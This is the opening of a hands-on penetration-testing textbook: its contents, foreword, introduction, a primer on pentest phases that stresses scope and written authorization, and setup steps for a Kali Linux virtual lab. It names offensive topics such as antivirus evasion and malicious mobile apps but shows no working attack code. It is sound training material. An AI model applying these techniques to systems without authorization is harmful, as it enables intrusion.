A Similar Exploit String Module . . . . .
Porting Our Exploit Code . . . . . . . . . .
Exploitation Mitigation Techniques . . . . . . . . . .
Stack Cookies . . . . . . . . . . . . . . . . . .
Address Space Layout Randomization .
Data Execution Prevention . . . . . . . . . .
Mandatory Code Signing . . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . .
373
375
376
378
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
403
407
408
411
412
416
418
419
421
421
422
422
424
427
429
430
430
432
435
435
439
440
440
441
441
442
Contents in Detail xvii
Part V
Mobile Hacking
20
Using the Smartphone Pentest Framework Mobile Attack Vectors . . . . . . . . . . . . . . . .
Text Messages . . . . . . . . . . . . . .
Near Field Communication . . . . . .
QR Codes . . . . . . . . . . . . . . . . . .
The Smartphone Pentest Framework . . . . . .
Setting Up SPF . . . . . . . . . . . . . . .
Android Emulators . . . . . . . . . . . .
Attaching a Mobile Modem . . . . . .
Building the Android App . . . . . . .
Deploying the App . . . . . . . . . . . .
Attaching the SPF Server and App .
Remote Attacks . . . . . . . . . . . . . . . . . . . . .
Default iPhone SSH Login . . . . . . .
Client-Side Attacks . . . . . . . . . . . . . . . . . .
Client-Side Shell . . . . . . . . . . . . . .
USSD Remote Control . . . . . . . . . .
Malicious Apps . . . . . . . . . . . . . . . . . . . . .
Creating Malicious SPF Agents . . .
Mobile Post Exploitation . . . . . . . . . . . . . . .
Information Gathering . . . . . . . . .
Remote Control . . . . . . . . . . . . . .
Pivoting Through Mobile Devices .
Privilege Escalation . . . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
445
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
446
446
446
447
447
447
449
449
449
450
452
453
453
454
454
456
458
459
464
464
465
466
471
472
REsources473
Index477
xviii Contents in Detail
Fore word
I met Georgia Weidman at a conference almost two
years ago. Intrigued by what she was doing in the
mobile device security field, I started following her
work. At nearly every conference I’ve attended since
then, I’ve run into Georgia and found her passionately sharing knowledge and ideas about mobile
device security and her Smartphone Pentesting
Framework.
In fact, mobile device security is only one of the things Georgia does.
Georgia performs penetration tests for a living; travels the world to deliver
training on pentesting, the Metasploit Framework, and mobile device security; and presents novel and innovative ideas on how to assess the security of
mobile devices at conferences.
Georgia spares no effort in diving deeper into more advanced topics and working hard to learn new things. She is a former student of my
(rather challenging) Exploit Development Bootcamp, and I can attest to
the fact that she did very well throughout the entire class. Georgia is a true
hacker—always willing to share her findings and knowledge with our great
infosec community—and when she asked me to write the foreword to this
book, I felt very privileged and honored.
As a chief information security officer, a significant part of my job
revolves around designing, implementing, and managing an information
security program. Risk management is a very important aspect of the program because it allows a company to measure and better understand its
current position in terms of risk. It also allows a company to define priorities and implement measures to decrease risk to an acceptable level, based
on the company’s core business activities, its mission and vision, and legal
requirements.
Identifying all critical business processes, data, and data flows inside
a company is one of the first steps in risk management. This step includes
compiling a detailed inventory of all IT systems (equipment, networks,
applications, interfaces, and so on) that support the company’s critical business processes and data from an IT perspective. The task is time consuming
and it’s very easy to forget about certain systems that at first don’t seem to
be directly related to supporting critical business processes and data, but
that are nonetheless critical because other systems depend on them. This
inventory is fundamentally important and is the perfect starting point for a
risk-assessment exercise.
One of the goals of an information-security program is to define what
is necessary to preserve the desired level of confidentiality, integrity, and
availability of a company’s IT systems and data. Business process owners
should be able to define their goals, and our job as information-security
professionals is to implement measures to make sure we meet these goals
and to test how effective these measures are.
There are a few ways to determine the actual risk to the confidentiality,
integrity, and availability of a company’s systems. One way is to perform a
technical assessment to see how easy it would be for an adversary to undermine the desired level of confidentiality, break the integrity of systems, and
interfere with the availability of systems, either by attacking them directly
or by attacking the users with access to these systems.
That’s where a penetration tester (pentester, ethical hacker, or whatever you want to call it) comes into play. By combining knowledge of how
systems are designed, built, and maintained with a skillset that includes
finding creative ways around defenses, a good pentester is instrumental in
identifying and demonstrating the strength of a company’s informationsecurity posture.
If you would like to become a penetration tester or if you are a systems/
network administrator who wants to know more about how to test the
security of your systems, this book is perfect for you. You’ll learn some of
the more technical phases of a penetration test, beginning with the initial
information-gathering process. You’ll continue with explanations of how to
exploit vulnerable networks and applications as you delve deeper into the
network in order to determine how much damage could be done.
This book is unique because it’s not just a compilation of tools with
a discussion of the available options. It takes a very practical approach,
xx Foreword
designed around a lab—a set of virtual machines with vulnerable applications—so you can safely try various pentesting techniques using publicly
available free tools.
Each chapter starts with an introduction and contains one or more
hands-on exercises that will allow you to better understand how vulnerabilities can be discovered and exploited. You’ll find helpful tips and tricks
from an experienced professional pentester, real-life scenarios, proven techniques, and anecdotes from actual penetration tests.
Entire books can be written (and have been) on the topics covered in
each chapter in this book, and this book doesn’t claim to be the Wikipedia
of pentesting. That said, it will certainly provide you with more than a first
peek into the large variety of attacks that can be performed to assess a target’s security posture. Thanks to its guided, hands-on approach, you’ll learn
how to use the Metasploit Framework to exploit vulnerable applications and
use a single hole in a system’s defenses to bypass all perimeter protections,
dive deeper into the network, and exfiltrate data from the target systems.
You’ll learn how to bypass antivirus programs and perform efficient socialengineering attacks using tools like the Social-Engineer Toolkit. You’ll see
how easy it would be to break into a corporate Wi-Fi network, and how to use
Georgia’s Smartphone Pentest Framework to assess how damaging a company’s bring your own device policy (or lack thereof) could be. Each chapter is designed to trigger your interest in pentesting and to provide you with
first-hand insight into what goes on inside a pentester’s mind.
I hope this book will spark your creativity and desire to dive deeper into
certain areas; to work hard and learn more; and to do your own research
and share your knowledge with the community. As technology develops,
environments change, and companies increasingly rely on technology
to support their core business activities, the need for smart pentesters
will increase. You are the future of this community and the informationsecurity industry.
Good luck taking your first steps into the exciting world of pentesting.
I’m sure you will enjoy this book!
Peter “corelanc0d3r” Van Eeckhoutte
Founder of Corelan Team
Foreword xxi
Ac k n o w l e d g m e n t s
Many thanks go to the following people and organizations (in no particular
order).
My parents, who have always supported my career endeavors—including
paying for me to go to my first conference and get my first certifications when
I was still a broke college student.
Collegiate Cyber Defense Competition, particularly the Mid-Atlantic
region Red Team, for helping me find what I wanted to do with my life.
ShmooCon for accepting my first talk ever and also being the first conference I ever attended.
Peiter “Mudge” Zatko and everyone who involved in the DARPA Cyber
Fast Track program for giving me the opportunity to start my own company
and build the Smartphone Pentest Framework.
James Siegel for being my lucky charm and making sure I get on stage
on time at events.
Rob Fuller for taking the time to come to James Madison University
and visit the CCDC team after the competition. That day I decided to make
a career of infosec.
John Fulmer for helping me with the crypto details in the wireless chapter.
Rachel Russell and Micheal Cottingham for being my first infosec buddies.
Jason and Rachel Oliver for technical and content review, and also for
making the perfect smoky eye look at ShmooCon and Black Hat.
Joe McCray, my infosec big brother, for being my mentor as I learn to
navigate the infosec business.
Leonard Chin for giving me my first big international conference experience and the confidence to become a conference trainer.
Brian Carty for helping me build my online lab.
Tom Bruch for letting me live in his house when I had no job and my
DARPA money hadn’t come through yet.
Dave Kennedy for providing introductions for several great opportunities.
Grecs for helping me market my classes on his website.
Raphael Mudge for getting me in touch with the DARPA Cyber Fast
Track program and many other great opportunities.
Peter Hesse and Gene Meltser for forcing me to have the courage to
move up at key junctures in my career.
Jayson Street for being a pickier eater than me so I almost pass as normal at speaker dinners in foreign countries. You are the best.
Ian Amit for recommending me for some great speaking slots when I
was just starting out.
Martin Bos for being awesome. You know what I mean.
Jason Kent for all those global premier upgrades and wonderful tautologies for definitions, some of which appear herein.
My professors at James Madison University, particularly Samuel T.
Redwine—you inspired me more than you will ever know.
The people at No Starch Press for their help and support in developing
this book, including Alison Law, Tyler Ortman, and KC Crowell. Special
thanks to my editor and No Starch’s publisher, Bill Pollock.
xxiv Acknowledgments
Introduction
I decided to write this book because it was the sort
of book I wish I had had when I was starting out in
information security. Though there are certainly
more informative websites out there than when I
first started, I still find it’s difficult for a beginner to
know what to read first and where to get the expected prerequisite skills.
Likewise, there are a lot of books on the market—several great ones on
advanced topics, which require some background knowledge, and many
good books aimed at beginners, which cover a significant amount of theory.
But I haven’t found anything that says everything I want to say to the aspiring
pentester who emails me looking for a place to start in information security.
In my teaching career I’ve always found that my favorite course to
teach is Introduction to Pentesting. The students always have a thirst for
knowledge that is lots of fun to be around. Thus, when I was approached
by No Starch Press to write a book, this was the book I proposed. When I
announced it, many people assumed I was writing a mobile security book,
but while I considered that, I thought an introduction to pentesting would
make the biggest impact on the audience I most wanted to reach.
A Note of Thanks
A book like this would not be possible without many years of dedicated
work on the part of the information security community. The tools and
techniques discussed throughout this book are some of the ones my colleagues and I use regularly on engagements, and they’ve been developed
through the combined efforts of pentesters and other security experts all
over the world. I’ve contributed to some of these open source projects (such
as Mona.py, which we’ll use in the exploit development chapters), and I hope
this book will inspire you to do the same.
I want to take this opportunity to thank Offensive Security for creating
and maintaining the Kali Linux pentesting distribution used widely in the
field and throughout this book. A huge amount of credit also goes to the
core developers of the Metasploit Framework, as well as its numerous community contributors. Thanks too to all the pentesters and researchers who
have shared their knowledge, discoveries, and techniques with the community so that we can use them to assess the security posture of our clients
more effectively, and so that teachers like me can use them with our students.
Thanks as well to the creators of the great books, blog posts, courses,
and so on that have helped me achieve my goal of becoming a professional
pentester. I now hope to share the knowledge I’ve gained with other aspiring pentesters.
You’ll find a list of additional resources (including courses and blogs)
at the end of this book. These are some of the resources that I have found
helpful on my own journey in infosec, and I encourage you to use them to
learn more about the many penetration testing topics covered in this book.
I hope you enjoy your journey as much as I have.
About This Book
To work through this book, you will need to know how to install software
on your computer. That’s it. You don’t need to be a Linux expert or know
the nitty-gritty of how networking protocols work. When you encounter
a topic that is not familiar to you, I encourage you to do some outside
research beyond my explanations if you need to—but we will walk step-bystep through all the tools and techniques that may be new to you, starting
with the Linux command line. When I started in information security, the
closest thing I’d ever done to hacking was making the Windows XP pre-SP2
Start menu say Georgia instead of Start. And I was pretty proud of myself at
the time.
And then I went to the Collegiate Cyber Defense Competition and all
the Red Team members were using the command line at rapid speed and
making pop-up windows appear on my desktop from across a crowded
room. All I knew was that I wanted to be like them. There was a lot of hard
work between then and now, and there will be much more hard work as I
endeavor to reach the highest level of information security. I only hope that
with this book I can inspire more people to follow the same path.
xxvi Introduction
Part I: The Basics
In Chapter 0, we start out with some basic definitions of the phases of penetration testing. In Chapter 1, we build our small practice laboratory, which we
will use to work through the exercises in this book. With many books, it’s possible to just download a few programs onto your existing platform, but to simulate a penetration test, our approach is a bit more involved. I recommend
that you take the time to set up your lab and work through the hands-on
examples with me. Though this book can serve as a reference and reminder
in the field, I believe it is best to first practice your pentesting skills at home.
In Chapter 2, we start with the basics of using Kali Linux and Linux
operating systems in general. Next, Chapter 3 covers the basics of programming. Some readers may already have a working knowledge in these areas
and can skip past them. When I first started out, I had some programming
experience in C and Java, but I didn’t have a background in scripting, and
I had practically no background in Linux—a skillset that was assumed by
most of the hacking tutorials I encountered. Thus, I have provided a primer
here. If you are new to these areas, please do continue your studies outside
of this book. Linux-based operating systems are becoming more and more
prevalent as the platforms for mobile devices and web services, so skills in
this area will benefit you even if you don’t pursue a career in information
security. Likewise, knowing how to script your common tasks can only make
your life easier, regardless of your career.
We look at the basics of using the Metasploit Framework, a tool we will
leverage throughout this book, in Chapter 4. Though we will also learn to
perform many tasks without Metasploit, it is a go-to tool for many pentesters in the field and is constantly evolving to include the latest threats and
techniques.
Part II: Assessments
Next we start working through a simulated penetration test. In Chapter 5,
we begin by gathering data about our target—both by searching freely
available information online and by engaging our target systems. We then
start searching for vulnerabilities using a combination of querying the systems and research in Chapter 6. In Chapter 7, we look at techniques to capture traffic that might include sensitive data.
Part III: Attacks
Next, in Chapter 8, we look at exploiting the vulnerabilities we found on
the network with a variety of tools and techniques, including Metasploit and
purely manual exploitation. We then look at methods for attacking what is
often the weakest link in a network’s security—password management—in
Chapter 9.
We next look at some more advanced exploitation techniques. Not
all vulnerabilities are in a service listening on the network. Web browsers,
PDF readers, Java, Microsoft Office—they all have been subject to security
issues. As clients work harder to secure their networks, attacking clientside software may be the key to getting a foothold in the network. We look
Introduction xxvii
at leveraging client-side attacks in Chapter 10. In Chapter 11, we combine
client-side attacks with a look at social engineering, or attacking the human
element—the part of the environment that cannot be patched. After all, with
client-side attacks, the software in question must open a malicious file of
some sort, so we must convince the user to help us out. In Chapter 12, we
look at some methods of bypassing antivirus software, as many of your clients will deploy it. If you have high enough privileges on a system, you may
be able to just turn antivirus programs off, but a better solution is to breeze
right past antivirus programs undetected, which can be done even if you
are saving malicious programs to the hard drive.
In Chapter 13, we pick up with the next phase of our penetration test,
post exploitation. Some say the pentest truly begins after exploitation. This
is where you leverage your access to find additional systems to attack, sensitive information to steal, and so on. If you continue your penetration testing studies, you will spend a good deal of time working on the latest and
greatest post-exploitation techniques.
After post exploitation, we look at a few additional skills you will need
to be a well-rounded penetration tester. We will take a brief look at assessing the security of custom web applications in Chapter 14. Everyone has a
website these days, so it’s a good skill to cultivate. Next we will look at assessing the security of wireless networks in Chapter 15, looking at methods for
cracking commonly deployed cryptographic systems.
Part IV: Exploit Development
Chapters 16, 17, 18, and 19 discuss the basics of writing your own exploits.
We will look at finding vulnerabilities, exploiting them with common techniques, and even writing our own Metasploit module. Up until these chapters, we have relied on tools and publicly available exploits for a lot of our
exercises. As you advance in infosec, you may want to find new bugs (called
zero-days) and report them to vendors for a possible bounty. You can then
release a public exploit and/or Metasploit module to help other pentesters
test their customers’ environments for the issue you discovered.
Part V: Mobile Hacking
Finally, in Chapter 20, we close with a relatively new area of penetration testing—assessing the security of mobile devices. We look at my own tool, the
Smartphone Pentest Framework. Perhaps after mastering the skills in this
book, you will endeavor to develop and release a security tool of your own.
Of course, this book doesn’t cover every single facet of information
security, nor every tool or technique. If it did, this book would have been
several times longer and come out a good deal later, and I need to get back
to my research. So here you have it: a hands-on introduction to hacking. It is
an honor to be with you on this important step on your journey into information security. I hope that you learn a lot from this book and that it inspires
you to continue your studies and become an active member of this exciting
and rapidly developing field.
xxviii Introduction
0
Pe ne t r at ion T e s t ing Pr ime r
Penetration testing, or pentesting (not to be confused
with testing ballpoint or fountain pens), involves simulating real attacks to assess the risk associated with
potential security breaches. On a pentest (as opposed
to a vulnerability assessment), the testers not only discover vulnerabilities that could be used by attackers
but also exploit vulnerabilities, where possible, to
assess what attackers might gain after a successful
exploitation.
From time to time, a news story breaks about a major company being
hit by a cyberattack. More often than not, the attackers didn’t use the latest
and greatest zero-day (a vulnerability unpatched by the software publishers).
Major companies with sizable security budgets fall victim to SQL injection vulnerabilities on their websites, social-engineering attacks against
employees, weak passwords on Internet-facing services, and so on. In other
words, companies are losing proprietary data and exposing their clients’
personal details through security holes that could have been fixed. On a
penetration test, we find these issues before an attacker does, and we recommend how to fix them and avoid future vulnerabilities.
The scope of your pentests will vary from client to client, as will your
tasks. Some clients will have an excellent security posture, while others will
have vulnerabilities that could allow attackers to breach the perimeter and
gain access to internal systems.
You may also be tasked with assessing one or many custom web applications. You may perform social-engineering and client-side attacks to gain
access to a client’s internal network. Some pentests will require you to act
like an insider—a malicious employee or attacker who has already breached
the perimeter—as you perform an internal penetration test. Some clients will
request an external penetration test, in which you simulate an attack via the
Internet. And some clients may want you to assess the security of the wireless networks in their office. In some cases, you may even audit a client’s
physical security controls.
The Stages of the Penetration Test
Pentesting begins with the pre-engagement phase, which involves talking to
the client about their goals for the pentest, mapping out the scope (the
extent and parameters of the test), and so on. When the pentester and the
client agree about scope, reporting format, and other topics, the actual testing begins.
In the information-gathering phase, the pentester searches for publicly
available information about the client and identifies potential ways to connect to its systems. In the threat-modeling phase, the tester uses this information to determine the value of each finding and the impact to the client if
the finding permitted an attacker to break into a system. This evaluation
allows the pentester to develop an action plan and methods of attack.
Before the pentester can start attacking systems, he or she performs a
vulnerability analysis. In this phase, the pentester attempts to discover vulnerabilities in the systems that can be taken advantage of in the exploitation
phase. A successful exploit might lead to a post-exploitation phase, where the
result of the exploitation is leveraged to find additional information, sensitive data, access to other systems, and so on.
Finally, in the reporting phase, the pentester summarizes the findings for
both executives and technical practitioners.
Note
For more information on pentesting, a good place to start is the Penetration Testing
Execution Standard (PTES) at http://www.pentest-standard.org/.
Pre-engagement
Before the pentest begins, pentesters perform pre-engagement interactions with the client to make sure everyone is on the same page about the
2 Chapter 0
penetration testing. Miscommunication between a pentester and a client
who expects a simple vulnerability scan could lead to a sticky situation
because penetration tests are much more intrusive.
The pre-engagement stage is when you should take the time to understand your client’s business goals for the pentest. If this is their first pentest,
what prompted them to find a pentester? What exposures are they most
worried about? Do they have any fragile devices you need to be careful
with when testing? (I’ve encountered everything from windmills to medical
devices hooked up to patients on networks.)
Ask questions about your client’s business. What matters most to them?
For example, to a top online vendor, hours of downtime could mean thousands of dollars of lost revenue. To a local bank, having online banking sites
go down for a few hours may annoy a few customers, but that downtime
wouldn’t be nearly as devastating as the compromise of a credit card database. To an information security vendor, having their homepage plastered
with rude messages from attackers could lead to a damaged reputation that
snowballs into a major revenue loss.
Other important items to discuss and agree upon during the preengagement phase of the pentest include the following:
Scope
What IP addresses or hosts are in scope, and what is not in scope? What
sorts of actions will the client allow you to perform? Are you allowed to
use exploits and potentially bring down a service, or should you limit the
assessment to merely detecting possible vulnerabilities? Does the client
understand that even a simple port scan could bring down a server or
router? Are you allowed to perform a social-engineering attack?
The testing window
The client may want you to perform tests only during specific hours or
on certain days.
Contact information
Whom should you contact if you find something serious? Does the client expect you to contact someone 24 hours a day? Do they prefer that
you use encryption for email?
A “get out of jail free” card
Make sure you have authorization to perform a penetration test on the
target. If a target is not owned by the company (for instance, because
it’s hosted by a third party), make sure to verify that the client has
formal approval from the third party to perform the penetration test.
Regardless, make sure your contract includes a statement that limits
your liability in case something unexpected happens, and get written
permission to perform the test.
Payment terms
How and when will you be paid, and how much?
Penetration Testing Primer 3
Finally, include a nondisclosure agreement clause in your contract.
Clients will appreciate your written commitment to keep the penetration
test and any findings confidential.
Information Gathering
Next is the information-gathering phase. During this phase, you analyze
freely available sources of information, a process known as gathering open
source intelligence (OSINT). You also begin to use tools such as port scanners
to get an idea of what systems are out there on the Internet or internal network as well as what software is running. We’ll explore information gathering in more detail in Chapter 5.
Threat Modeling
Based on the knowledge gained in the information-gathering phase, we
move on to threat modeling. Here we think like attackers and develop plans
of attack based on the information we’ve gathered. For example, if the client
develops proprietary software, an attacker could devastate the organization
by gaining access to their internal development systems, where the source
code is developed and tested, and selling the company’s trade secrets to a
competitor. Based on the data we found during information gathering, we
develop strategies to penetrate a client’s systems.
Vulnerability Analysis
Next, pentesters begin to actively discover vulnerabilities to determine how
successful their exploit strategies might be. Failed exploits can crash services, set off intrusion-detection alerts, and otherwise ruin your chances of
successful exploitation. Often during this phase, pentesters run vulnerability scanners, which use vulnerability databases and a series of active checks
to make a best guess about which vulnerabilities are present on a client’s system. But though vulnerability scanners are powerful tools, they can’t fully
replace critical thinking, so we also perform manual analysis and verify
results on our own in this phase as well. We’ll explore various vulnerabilityidentification tools and techniques in Chapter 6.
Exploitation
Now for the fun stuff: exploitation. Here we run exploits against the vulnerabilities we’ve discovered (sometimes using a tool like Metasploit) in an
attempt to access a client’s systems. As you’ll see, some vulnerabilities will be
remarkably easy to exploit, such as logging in with default passwords. We’ll
look at exploitation in Chapter 8.
Post Exploitation
Some say pentests truly begin only after exploitation, in the post-exploitation
phase. You got in, but what does that intrusion really mean to the client? If
you broke into an unpatched legacy system that isn’t part of a domain or
4 Chapter 0
otherwise networked to high-value targets, and that system contains no
information of interest to an attacker, that vulnerability’s risk is significantly
lower than if you were able to exploit a domain controller or a client’s development system.
During post exploitation, we gather information about the attacked system, look for interesting files, attempt to elevate our privileges where necessary, and so on. For example, we might dump password hashes to see if we
can reverse them or use them to access additional systems. We might also
try to use the exploited machine to attack systems not previously available
to us by pivoting into them. We’ll examine post exploitation in Chapter 13.
Reporting
The final phase of penetration testing is reporting. This is where we convey
our findings to the customer in a meaningful way. We tell them what they’re
doing correctly, where they need to improve their security posture, how you
got in, what you found, how to fix problems, and so on.
Writing a good pentest report is an art that takes practice to master.
You’ll need to convey your findings clearly to everyone from the IT staff
charged with fixing vulnerabilities to upper management who signs off on
the changes to external auditors. For instance, if a nontechnical type reads,
“And then I used MS08-067 to get a shell,” he or she might think, “You mean,
like a seashell?” A better way to communicate this thought would be to mention the private data you were able to access or change. A statement like “I
was able to read your email,” will resonate with almost anyone.
The pentest report should include both an executive summary and a
technical report, as discussed in the following sections.
Executive Summary
The executive summary describes the goals of the test and offers a highlevel overview of the findings. The intended audience is the executives in
charge of the security program. Your executive summary should include
the following:
Background A description of the purpose of the test and definitions
of any terms that may be unfamiliar to executives, such as vulnerability
and countermeasure.
Overall posture An overview of the effectiveness of the test, the
issues found (such as exploiting the MS08-067 Microsoft vulnerability),
and general issues that cause vulnerabilities, such as a lack of patch
management.
Risk profile An overall rank of the organization’s security posture
compared to similar organizations with measures such as high, moderate, or low. You should also include an explanation of the ranking.
General findings A general synopsis of the issues identified along
with statistics and metrics on the effectiveness of any countermeasures
deployed.
Penetration Testing Primer 5
Recommendation summary A high-level overview of the tasks required
to remediate the issues discovered in the pentest.
Strategic road map Give the client short- and long-term goals to
improve their security posture. For example, you might tell them to
apply certain patches now to address short-term concerns, but without
a long-term plan for patch management, the client will be in the same
position after new patches have been released.
Technical Report
This section of the report offers technical details of the test. It should
include the following:
Introduction An inventory of details such as scope, contacts, and so on.
Information gathering Details of the findings in the informationgathering phase. Of particular interest is the client’s Internet footprint.
Vulnerability assessment Details of the findings of the vulnerabilityanalysis phase of the test.
Exploitation/vulnerability verification Details of the findings from
the exploitation phase of the test.
Post exploitation Details of the findings of the post-exploitation
phase of the test.
Risk/exposure A quantitative description of the risk discovered. This
section estimates the loss if the identified vulnerabilities were exploited
by an attacker.
Conclusion A final overview of the test.
Summary
This chapter has taken a brief look at the phases of penetration testing,
including pre-engagement, information gathering, threat modeling,
vulnerability analysis, exploitation, post exploitation, and reporting.
Familiarity with these phases will be crucial as you begin your pentesting
career, and you’ll learn more about them as you move through the book.
6 Chapter 0
Part I
Th e B a s i c s
1
S e t t i n g Up Y o u r V i r t u a l L a b
As you work through this book, you’ll get hands-on
experience using different tools and techniques for
penetration testing by working in a virtual lab running in the VMware virtualization software. I’ll walk
you through setting up your lab to run multiple operating systems inside
your base operating system in order to simulate an entire network using
just one physical machine. We’ll use our lab to attack target systems
throughout this book.
Installing VMware
As the first step in setting up your virtual lab, download and install a desktop VMware product. VMware Player is available free for personal use for
Microsoft Windows and Linux operating systems (http://www.vmware.com/
products/player/). VMware also offers VMware Workstation (http://www​
.vmware.com/products/workstation/) for Windows and Linux, which includes
additional features such as the ability to take snapshots of the virtual
machine that you can revert to in case you break something. VMware
Workstation is available for free for 30 days, but after that, you will need
to buy it or switch back to using VMware Player.
Mac users can run a trial version of VMware Fusion (http://www.vmware​
.com/products/fusion/) free for 30 days, and it costs only about $50 after that.
As a Mac user, I’ll use VMware Fusion throughout the book, but setup
instructions are also included for VMware Player.
Download the version of VMware that matches your operating system
and architecture (32- or 64-bit). If you encounter any problems installing
VMware, you’ll find plenty of support at the VMware website.
Setting Up Kali Linux
Kali Linux is a Debian-based Linux distribution that comes with a wide
variety of preinstalled security tools that we’ll use throughout this book.
This book is written for Kali 1.0.6, the current version as of this writing.
You’ll find a link to a torrent containing a copy of Kali 1.0.6 at this book’s
website (http://nostarch.com/pentesting/). As time passes, newer versions of
Kali will be released. If you would like, feel free to download the latest version of Kali Linux from http://www.kali.org/. Keep in mind, though, that
many of the tools we’ll use in this book are in active development, so if you
use a newer version of Kali, some of the exercises may differ from the walkthroughs in this book. If you prefer everything to work as written, I recommend using the version of Kali 1.0.6 provided in the torrent (a file called
kali-linux-1.0.6-vm-i486.7z), which is a prebuilt VMware image compressed
with 7-Zip.
Note
You can find 7-Zip programs for Windows and Linux platforms at http://www​
.7-zip.org/download.html. For Mac users, I recommend Ez7z from http://ez7z​
.en.softonic.com/mac/.
1. Once the 7-Zip archive is decompressed, in VMware go to File4 Open
and direct it to the file Kali Linux 1.0.6 32 bit.vmx in the decompressed
Kali Linux 1.0.6 32 bit folder.
2. Once the virtual machine opens, click the Play button and, when
prompted as shown in Figure 1-1, choose I copied it.
3. As Kali Linux boots up, you will be prompted as shown in Figure 1-2.
Choose the top (default) highlighted option.
10 Chapter 1
Figure 1-1: Opening the Kali Linux virtual machine
Figure 1-2: Booting Kali Linux
Setting Up Your Virtual Lab 11
4. Once Kali Linux boots, you will be presented with a login screen like
the one shown in Figure 1-3.
Figure 1-3: Kali login screen
5. Click Other and enter the default credentials for Kali Linux, root:toor, as
shown in Figure 1-4. Then click the Log In button.
Figure 1-4: Logging into Kali
12 Chapter 1
6. You will be presented with a screen like the one shown in Figure 1-5.
Figure 1-5: The Kali Linux GUI
Configuring the Network for Your Virtual Machine
Because we’ll be using Kali Linux to attack our target systems over a network, we need to place all our virtual machines on the same virtual network
(we will see an example of moving between networks in Chapter 13, which
covers post exploitation). VMware offers three options for virtual network
connections: bridged, NAT, and host only. You should choose the bridged
option, but here’s a bit of information about each:
•
•
•
The bridged network connects the virtual machine directly to the local
network using the same connection as the host system. As far as the
local network is concerned, our virtual machine is just another node
on the network with its own IP address.
NAT, short for network address translation, sets up a private network on the
host machine. The private network translates outgoing traffic from the
virtual machine to the local network. On the local network, traffic from
the virtual machine will appear to come from the host machine’s IP
address.
The host-only network limits the virtual machine to a local private network on the host. The virtual machine will be able to communicate
with other virtual machines in the host-only network as well as the host
machine itself, but it will not be able to send or receive any traffic with
the local network or the Internet.
Setting Up Your Virtual Lab 13
Note
Because our target virtual machines will have multiple known security vulnerabilities, use caution when attaching them to your local network because anyone else on
that network can also attack these machines. For this reason, I do not recommend working through this book on a public network where you do not trust the other users.
By default, the Kali Linux virtual machine network adapter is set to
NAT. Here’s how to change that option on both Windows and Mac OS.
VMware Player on Microsoft Windows
To change the virtual network on VMware Player for Windows, start VMware
Player and then click your Kali Linux virtual machine. Choose Edit virtual
machine settings, as shown in Figure 1-6. (If you’re still running Kali Linux
in VMware Player, choose Player4Manage4Virtual machine settings.)
Figure 1-6: Changing the VMware network adapter
On the next screen, choose Network Adapter in the Hardware tab and
choose the Bridged option in the Network connection section, as shown in
Figure 1-7.
14 Chapter 1
Figure 1-7: Changing the network adapter settings
Now click the Configure Adapters button and check the network
adapter that you’re using with your host operating system. As you can see
in Figure 1-8, I’ve selected only the Realtek wireless adapter. Once you’ve
made your selection, press OK.
Figure 1-8: Selecting a network adapter
